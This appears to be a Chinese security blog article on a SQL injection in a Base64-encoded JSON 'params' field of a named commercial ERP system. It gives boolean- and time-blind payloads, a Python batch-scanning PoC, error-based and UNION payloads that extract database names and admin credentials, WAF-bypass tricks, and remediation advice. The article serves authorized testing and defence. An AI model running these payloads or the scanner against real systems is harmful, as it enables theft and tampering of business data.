当前位置：首页 > news >正文

ERP系统SQL注入漏洞审计：从params参数到批量POC的实战解析

news 2026/6/29 8:41:07

1. 项目概述：一次针对商业ERP系统的深度安全审计实践

最近在内部安全审计和渗透测试项目中，我们团队对一个名为“云时空商业ERP”的系统进行了全面的安全评估。这类系统通常承载着企业的核心业务数据，从供应链、财务到客户信息，一旦出现安全漏洞，后果不堪设想。在本次评估中，我们重点关注了其Web接口的安全性，并成功发现了一个存在于params参数中的SQL注入漏洞。这个漏洞的利用门槛相对较低，但危害性极高，攻击者可以借此窃取、篡改甚至删除数据库中的敏感商业数据。本文将详细拆解这个漏洞的发现过程、原理分析、批量验证POC的编写思路，以及在实际渗透测试中如何高效、安全地进行验证。无论你是安全研究员、渗透测试工程师，还是负责企业系统运维的开发者，理解这类漏洞的成因与利用方式，对于构建更安全的系统都至关重要。

2. 漏洞原理与“params”参数风险深度解析

2.1 SQL注入漏洞的核心机制重温

在深入具体案例前，我们有必要快速回顾一下SQL注入的本质。简单来说，当应用程序将用户输入的数据，未经充分验证和净化，直接拼接到SQL查询语句中执行时，就产生了SQL注入漏洞。攻击者可以精心构造输入数据，改变原有SQL语句的逻辑，从而执行非预期的数据库操作。

用一个生活化的类比：想象一个自动点餐机，你告诉它“我要一个汉堡”，它就去后厨系统里查询“制作一个汉堡”的指令。但如果有人对点餐机说“我要一个汉堡；然后打开保险柜”，而点餐机不加分辨地把整句话都传给后厨系统，那么后厨可能就会错误地执行两条指令。SQL注入就是类似的原理，攻击者的输入里包含了用于“结束前一条查询”并“开始新指令”的特殊符号（如单引号‘、分号;）和SQL关键字（如UNION,SELECT）。

2.2 “云时空商业ERP”中`params`参数的典型处理场景

在许多Web应用，尤其是传统或早期开发的B/S架构ERP系统中，为了前后端传递复杂数据，经常会使用一个名为params、data或query的参数。这个参数的值往往是一个经过编码（如JSON、Base64）的字符串，包含了多个子参数。后端接收到这个params参数后，会进行解码，然后将解码后的各个字段值用于数据库查询。

风险点就出现在这里：

解码后直接拼接：后端代码可能将params解码后的某个字段值（例如searchKeyword、orderId），未经任何过滤，直接拼接到SQL字符串中。
错误的信任边界：开发者可能误以为params是内部参数，其内容在客户端已经过构造，是“安全”的，从而忽略了服务端的二次验证。
复杂的处理逻辑：由于params内包含多个字段，处理逻辑可能分散在多个函数或模块中，容易在某一处疏忽了过滤，导致全局性漏洞。

在我们的测试案例中，目标ERP系统的某个查询接口，接收一个Base64编码的JSON字符串作为params参数。解码后，其中一个名为id的字段被直接用于构建WHERE子句，如SELECT * FROM orders WHERE id = ‘解码后的id值‘。这就为注入打开了大门。

注意：在实际测试中，需要先通过代码审计或黑盒模糊测试，确定params参数的编码方式和内部结构。常见的是JSON，但也可能是其他自定义格式。

2.3 漏洞危害评估

成功利用此SQL注入漏洞，攻击者可以：

数据泄露：获取企业员工信息、客户资料、供应商清单、详细的财务流水、产品成本与定价等核心商业机密。
数据篡改：修改订单金额、库存数量、审批状态，直接造成财产损失或业务流程混乱。
权限提升：通过注入修改管理员密码或向用户表插入高权限账户，从而完全控制系统。
服务器沦陷：在某些数据库配置下（如MySQL的INTO OUTFILE），利用注入写入Webshell，进一步控制服务器。

3. 手工漏洞探测与初步验证流程

在编写自动化POC之前，手工验证是理解漏洞细节的关键步骤。这个过程考验的是测试者的耐心和对HTTP请求的操控能力。

3.1 信息收集与接口定位

首先，我们需要找到接收params参数的接口。使用浏览器开发者工具（F12）的“网络(Network)”面板，在操作ERP系统时（如点击查询按钮、翻页），观察发出的HTTP请求。重点关注POST请求，查看其请求参数。很快，我们发现了形如/api/v1/business/query的接口，其请求体为params=eyJpZCI6IjEyMyJ9（这是{"id":"123"}的Base64编码）。

3.2 构造注入Payload

确认接口和参数格式后，开始手工注入测试。我们的目标是验证id字段是否存在注入。

基础探测（判断注入点）：
- 原始请求：params=eyJpZCI6IjEyMyJ9(对应id=123)
- 修改请求：将id值改为123‘（带一个单引号）。即构造JSON：{"id":"123‘"}，然后Base64编码。
- 发送请求后，观察响应。如果返回了数据库错误信息（如MySQL的You have an error in your SQL syntax），那么基本确认存在SQL注入。如果返回通用错误页或空数据，则需要更精细的判断。
布尔盲注探测（无显错信息时）：如果应用屏蔽了数据库错误，我们可以使用布尔盲注技术。原理是利用SQL语句执行的真假，使页面返回不同的内容。
- 构造Payload：{"id":"123‘ and 1=1 -- "}
  - ‘用于闭合原SQL语句中的引号。
  - and 1=1是一个永真条件。
  - --（注意后面有空格）是SQL注释符，用于注释掉原查询后面的部分。
- 编码后发送，记录页面响应（如正常返回数据）。
- 再构造Payload：{"id":"123‘ and 1=2 -- "}
- 发送后，观察页面响应是否发生变化（如返回空数据或状态不同）。如果两次响应有明显差异，则证实存在基于布尔的SQL注入。
时间盲注探测（页面无变化时）：如果布尔盲注也没有明显回显，可以尝试时间盲注。利用数据库的延时函数，根据响应时间判断条件真假。
- 构造Payload：{"id":"123‘ and sleep(5) -- "}
- 发送请求，并计时。如果响应时间明显增加了至少5秒，说明sleep(5)被执行了，存在时间盲注漏洞。

3.3 确定数据库类型与利用方式

通过错误信息或特定函数测试，我们确定了后端数据库是MySQL。这决定了我们后续POC中使用的语法（如注释符--或#，连接函数concat()等）。

实操心得：手工测试的“手感”手工测试时，浏览器的开发者工具和一款优秀的代理工具（如Burp Suite）必不可少。Burp Suite的Repeater模块允许你方便地修改、重放请求，并直观对比响应。对于params这种编码参数，可以先在Decoder模块里进行Base64解码和编辑，然后再编码回去，比手动计算方便得多。另外，注意观察响应头的Content-Length变化，有时它比响应体内容更能揭示细微差别。

4. 批量验证POC的设计与实现详解

在渗透测试或安全巡检中，我们往往需要检查大量同类系统或同一系统的多个接口。一个健壮的批量验证POC（Proof of Concept）能极大提升效率。这里我们设计一个Python脚本，它需要具备以下功能：构造恶意params、发送HTTP请求、智能判断是否存在漏洞。

4.1 POC脚本核心逻辑拆解

import requests import base64 import json import time from urllib.parse import urljoin class ERPSQLInjector: def __init__(self, base_url): self.base_url = base_url self.session = requests.Session() # 添加一些默认请求头，模拟浏览器 self.session.headers.update({ ‘User-Agent‘: ‘Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36‘, ‘Content-Type‘: ‘application/x-www-form-urlencoded‘, }) def _encode_params(self, data_dict): """将字典转换为JSON，然后进行Base64编码。""" json_str = json.dumps(data_dict, separators=(‘,‘, ‘:‘)) # 压缩JSON，无空格 encoded = base64.b64encode(json_str.encode(‘utf-8‘)).decode(‘utf-8‘) return encoded def test_boolean_based(self, api_path, original_params): """ 布尔盲注测试。 :param api_path: 接口路径，如 ‘/api/v1/business/query‘ :param original_params: 原始的参数字典，如 {‘id‘: ‘123‘} :return: Boolean, 是否存在漏洞 """ url = urljoin(self.base_url, api_path) # 构造真条件Payload true_payload = original_params.copy() # 假设我们已知漏洞字段是 ‘id‘， 在实际中可能需要遍历 vuln_field = ‘id‘ original_value = true_payload[vuln_field] true_payload[vuln_field] = f"{original_value}‘ and ‘1‘=‘1" encoded_true = self._encode_params(true_payload) # 构造假条件Payload false_payload = original_params.copy() false_payload[vuln_field] = f"{original_value}‘ and ‘1‘=‘2" encoded_false = self._encode_params(false_payload) try: # 发送真条件请求 resp_true = self.session.post(url, data={‘params‘: encoded_true}, timeout=10) # 发送假条件请求 resp_false = self.session.post(url, data={‘params‘: encoded_false}, timeout=10) # 判断逻辑：对比两次响应 # 可以根据实际情况调整判断策略，例如： # 1. 比较响应文本长度 # 2. 比较响应中某个特定关键字是否存在 # 3. 比较HTTP状态码（不常用，因为可能都是200） if len(resp_true.content) != len(resp_false.content): # 更精细的判断可以检查特定内容差异 print(f"[+] 布尔盲注可能成功。响应长度不同: True({len(resp_true.content)}) vs False({len(resp_false.content)})") return True else: print(f"[-] 布尔盲注测试未发现明显差异。") return False except requests.exceptions.RequestException as e: print(f"[!] 请求发送失败: {e}") return False def test_time_based(self, api_path, original_params, delay=5): """ 时间盲注测试。 :param delay: 注入的延时秒数 """ url = urljoin(self.base_url, api_path) vuln_field = ‘id‘ original_value = original_params[vuln_field] # 构造延时Payload (MySQL语法) time_payload = original_params.copy() time_payload[vuln_field] = f"{original_value}‘ and sleep({delay}) -- " encoded_time = self._encode_params(time_payload) start_time = time.time() try: # 设置一个比延时稍长的总超时 resp = self.session.post(url, data={‘params‘: encoded_time}, timeout=delay+10) elapsed = time.time() - start_time if elapsed >= delay: # 响应时间大于等于注入的延时 print(f"[+] 时间盲注可能成功。响应耗时: {elapsed:.2f}秒") return True else: print(f"[-] 时间盲注测试未生效。响应耗时: {elapsed:.2f}秒") return False except requests.exceptions.Timeout: # 请求超时也可能是延时生效的表现 print(f"[+] 请求超时，时间盲注可能成功。") return True except requests.exceptions.RequestException as e: print(f"[!] 请求异常: {e}") return False def batch_scan_from_file(self, target_list_file): """ 从文件批量读取目标进行扫描。 :param target_list_file: 每行格式: http://target.com,/api/path,{‘id‘:‘1‘} """ with open(target_list_file, ‘r‘, encoding=‘utf-8‘) as f: for line in f: line = line.strip() if not line or line.startswith(‘#‘): continue parts = line.split(‘,‘, 2) # 最多分割成3部分 if len(parts) < 3: print(f"[!] 跳过格式错误的行: {line}") continue base_url, api_path, params_str = parts try: # 安全地将字符串转换为字典 params_dict = eval(params_str) except: print(f"[!] 跳过参数解析失败的行: {line}") continue print(f"\n[*] 正在测试目标: {base_url}") self.base_url = base_url # 先测试布尔盲注 if self.test_boolean_based(api_path, params_dict): print(f"[!!!] 发现布尔盲注漏洞！目标: {base_url}{api_path}") # 可以在这里记录到文件 # 如果布尔没结果，再测试时间盲注（避免不必要的等待） # else: # if self.test_time_based(api_path, params_dict, delay=3): # print(f"[!!!] 发现时间盲注漏洞！目标: {base_url}{api_path}") # 使用示例 if __name__ == ‘__main__‘: # 单目标测试 tester = ERPSQLInjector(‘http://192.168.1.100:8080‘) original_params = {‘id‘: ‘1001‘, ‘type‘: ‘order‘} # 根据实际接口构造 if tester.test_boolean_based(‘/api/business/query‘, original_params): print(“漏洞存在！“) # 批量测试 # tester.batch_scan_from_file(‘targets.txt‘)

4.2 POC脚本关键点解析

参数编码的准确性：_encode_params函数确保了我们的Payload能按照目标系统的要求（JSON→Base64）正确编码。这是成功发送Payload的前提。
会话保持：使用requests.Session()可以自动处理Cookies，模拟一个真实的用户会话，这对于需要登录才能访问的接口至关重要。
智能判断逻辑：在test_boolean_based中，我们采用了对比响应内容长度的方式。这是一种简单有效的启发式方法。但在实际中，需要根据目标系统的具体行为进行定制。例如，有些系统在查询无结果时返回一个特定的JSON字段{"data": []}，而有结果时是{"data”: […]}。这时就应该解析JSON，判断data字段的内容差异。
时间盲注的可靠性：test_time_based中，我们不仅判断响应时间，还捕获了超时异常。因为sleep()函数可能导致请求在服务器端挂起，从而触发客户端的超时。将超时也视为漏洞存在的迹象之一，提高了检测的覆盖率。
批量扫描的健壮性：batch_scan_from_file函数提供了从文件读取目标列表的能力。文件格式设计为基础URL,接口路径,参数字典，便于管理大量测试目标。使用eval()转换参数字符串虽然方便，但在不可信的环境下存在安全风险。在内部可信环境中使用无妨，若需要更安全，可以使用ast.literal_eval()或json.loads()（需将单引号替换为双引号）。

注意事项：POC的伦理与法律边界我们编写的POC仅用于授权下的安全测试。在批量扫描时，务必控制请求频率（在代码中添加time.sleep()），避免对目标系统造成拒绝服务（DoS）攻击。测试数据应使用业务逻辑允许的测试ID（如测试订单号），避免污染真实业务数据。未经授权的测试是违法行为。

5. 漏洞利用的进阶场景与深度利用思考

验证漏洞存在只是第一步。一个专业的安全测试需要评估漏洞的实际危害深度。

5.1 信息获取：从数据库名到表结构

在确认注入点后，我们可以通过联合查询（UNION SELECT）或报错注入（extractvalue,updatexml）来获取信息。假设是报错注入，可以构造如下Payload探测数据库名：

{"id":"1‘ and updatexml(1, concat(0x7e, (database()), 0x7e), 1) -- "}

这个Payload会让数据库执行updatexml函数，由于第二个参数包含了查询当前数据库名的子查询结果，并以特殊字符~（0x7e）包裹，在XML解析时会产生错误，从而在错误信息中回显出数据库名。

依次类推，可以获取：

SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database()– 获取所有表名。
SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name=‘users‘– 获取users表的所有列名。

5.2 数据窃取：构造完整的查询语句

获取表结构后，就可以直接窃取数据了。例如，获取管理员账户：

{"id":"-1‘ union select 1, username, password, email from admin_users -- "}

这里将原id值设为-1，确保原查询不返回结果，从而让union后面的查询结果完整显示出来。这需要我们知道admin_users表的具体列数和类型，并通过union匹配列数。

5.3 应对复杂过滤的绕过技巧

在实际测试中，系统可能部署了WAF（Web应用防火墙）或简单的过滤机制。

大小写绕过：UnIoN SeLeCt
双写关键字绕过：UNIUNIONON SELSELECTECT（如果过滤规则是简单替换为空）
编码绕过：对Payload进行URL编码、十六进制编码。例如，SELECT可以写成%53%45%4c%45%43%54。
注释符混淆：使用/**/代替空格，如UNION/**/SELECT。或者使用/*!50727select*/（MySQL特定版本注释）。
等价函数/符号替换：and可以用&&替换，=可以用like或in替换。

在我们的ERP案例中，由于注入点在经过Base64解码后的值里，有时WAF可能检测不到，因为它在检测HTTP请求时看到的是编码后的字符串。这反而降低了绕过难度。

6. 修复建议与安全开发规范

对于开发者和企业运维人员，发现漏洞后的修复至关重要。

6.1 立即缓解措施

参数化查询（预编译语句）：这是根治SQL注入的银弹。无论是使用Java的PreparedStatement、Python的DB-API的execute带参数、还是PHP的PDO，确保所有用户输入都作为参数传递，而非字符串拼接。
- 错误示例（拼接）：String sql = “SELECT * FROM orders WHERE id = ‘” + params.getId() + “‘”;
- 正确示例（参数化）：String sql = “SELECT * FROM orders WHERE id = ?”; PreparedStatement stmt = conn.prepareStatement(sql); stmt.setString(1, params.getId());
输入验证与过滤：在参数化查询的基础上，增加白名单验证。例如，id字段如果应该是数字，就在接收后强制转换为整数类型。
```
try: business_id = int(request.json.get(‘id‘)) except (TypeError, ValueError): return jsonify({‘error‘: ‘Invalid ID‘}), 400
```
最小权限原则：连接数据库的应用程序账号，不应具有DROP,FILE,GRANT等高危权限，仅赋予其SELECT,UPDATE,INSERT,DELETE等必要权限。

6.2 长期安全加固

代码审计与SDL：将安全作为软件开发生命周期（SDLC）的一部分。在新功能开发代码审查时，将SQL注入作为必查项。定期对存量代码进行安全审计，尤其是处理用户输入的模块。
使用安全的ORM框架：成熟的ORM（对象关系映射）框架，如Hibernate（Java）、Entity Framework（.NET）、SQLAlchemy（Python），通常内置了参数化查询机制，能有效避免手写SQL导致的注入。
部署WAF：虽然不能替代安全编码，但Web应用防火墙可以作为一道有效的补充防线，拦截常见的攻击Payload，为修复漏洞争取时间。
定期渗透测试与漏洞扫描：聘请专业的安全团队或使用自动化扫描工具，定期对系统进行安全评估，主动发现潜在风险。

7. 测试过程中的常见问题与排查实录

在实际测试“云时空商业ERP”这类系统时，我遇到了几个典型问题，这里分享排查思路。

问题1：发送Payload后，返回“400 Bad Request”或“Invalid Params”。

排查：这通常是params的JSON格式或Base64编码出错。首先检查构造的JSON字符串是否合法（可以使用在线JSON校验工具）。其次，确保Base64编码正确，特别注意URL安全的Base64编码（将+和/分别替换为-和_，并去掉末尾的=），有些系统前端可能使用了这种变体。使用Burp Suite的Decoder模块，对比正常请求和攻击请求的编码结果，找出差异。

问题2：布尔盲注测试时，真条件和假条件的返回完全一样。

排查：
1. 注入点判断错误：可能params里存在多个字段，漏洞不在你测试的字段上。需要尝试对其他字段进行模糊测试。
2. Payload构造错误：检查单引号闭合是否正确。原SQL语句可能是WHERE id = 123（数字型）而非WHERE id = ‘123‘（字符型）。对于数字型，不需要单引号，Payload应为123 and 1=1。
3. 应用层逻辑干扰：应用程序可能在查询数据库后，还有一套复杂的业务逻辑处理数据，导致无论数据库返回什么，最终输出都被归一化了。这时需要尝试时间盲注，或者寻找更“纯净”的查询接口（如简单的搜索框）。

问题3：时间盲注测试不稳定，有时延时生效，有时不生效。

排查：
1. 网络波动：确保测试环境网络稳定。可以增加延时时间（如sleep(10)）来减少误判。
2. 数据库连接池或缓存：目标系统可能使用了数据库连接池，第一次慢查询后，结果被缓存，导致后续请求响应很快。在每次测试前，尝试改变id值，使其查询不同的数据，绕过缓存。
3. 并发限制：数据库可能对sleep函数有并发限制。降低测试请求的频率。

问题4：批量扫描时，脚本误报率很高。

排查：优化判断逻辑。不要仅仅依赖响应长度。可以尝试：
- 提取特征关键词：分析正常页面和错误页面的HTML或JSON，找到能稳定区分两者的“特征词”。例如，正常页面包含<div class=“data-list”>，而错误或空结果页面包含<div class=“no-data”>。
- 多条件复合判断：结合响应长度、状态码、特定关键词是否存在、响应时间等多个维度进行综合打分，设定一个阈值来判断。
- 人工复核：对于脚本标记为“可能存在漏洞”的目标，抽样进行手工验证，以调整脚本的判断算法。

这次对“云时空商业ERP”的审计经历再次印证，安全是一个持续的过程，而非一劳永逸的状态。尤其是在处理像params这样看似“内部”的参数时，开发者更容易放松警惕。作为防御方，必须牢固树立“一切输入皆不可信”的原则；作为攻击方（在授权范围内），则需要拥有见微知著的能力，从一个个普通的参数中，发现潜藏的巨大风险。

查看全文

http://www.jsqmd.com/news/1088486/